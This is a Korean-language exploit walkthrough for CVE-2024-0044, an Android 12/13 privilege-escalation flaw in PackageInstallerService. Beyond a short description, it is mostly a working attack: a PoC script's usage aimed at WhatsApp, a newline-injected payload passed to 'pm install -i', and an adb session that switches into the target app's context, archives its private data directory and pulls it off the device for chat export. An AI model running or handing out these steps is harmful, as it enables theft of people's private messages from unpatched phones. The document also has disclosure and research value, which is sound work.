
CVE-2024-0044: Android 12 및 13 버전에 영향을 미치는 '모든 앱으로 실행' 유형의 고위험 취약점
CVE-2024-0044는 PackageInstallerService.java 파일의 createSessionInternal 함수에서 발견된 고심각도 취약점으로, Android 12 및 13 버전에 영향을 미칩니다. 이 취약점은 공격자가 "run-as any app" 공격을 수행할 수 있게 하여 사용자 상호작용 없이 로컬 권한 상승을 유발합니다. 이 문제는 createSessionInternal 함수 내 부적절한 입력 검증으로 인해 발생합니다. 공격자는 세션 생성 과정을 조작하여 이 취약점을 악용할 수 있으며, 잠재적으로 민감한 데이터에 무단으로 접근하고 영향 받은 기기에서 무단 작업을 수행할 수 있습니다.
익스플로잇은 Meta security에 의해 발견되었습니다.
개념 증명(PoC)은 Tiny hack에 의해 요약 및 공유되었습니다.
보안 패치에 대한 자세한 내용은 Android 보안 게시판에서 확인할 수 있습니다.
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P는 실행하려는 대상 패키지 이름을 지정하는 데 사용됩니다.
-A는 기기에 푸시할 apk 파일을 지정하는 데 사용됩니다.
도구를 실행합니다.
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
다음과 같은 payload.txt 파일이 생성됩니다.
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success 메시지가 반환되는지 확인해야 합니다.pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
임시 디렉터리 생성: mkdir /data/local/tmp/wa/
tar 파일을 위한 플레이스홀더 생성: touch /data/local/tmp/wa/wa.tar
광범위한 권한 설정: chmod -R 0777 /data/local/tmp/wa/ - 모든 사용자가 이 디렉터리 내에서 읽기, 쓰기, 실행할 수 있도록 합니다.
사용자 컨텍스트 전환: run-as victim - "victim" 사용자와 동일한 권한을 얻습니다.
대상 애플리케이션의 데이터 아카이브: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp - WhatsApp 데이터 디렉터리의 tarball을 생성합니다.
adb pull /data/local/tmp/wa/wa.tar
7z 또는 다른 도구를 사용하여 데이터를 추출할 수 있습니다.
Whatsapp chat exporter를 사용하여 HTML로 변환할 수 있습니다.
이를 통해 장치에 루트 액세스 권한 없이도 WhatsApp 데이터를 가져올 수 있습니다.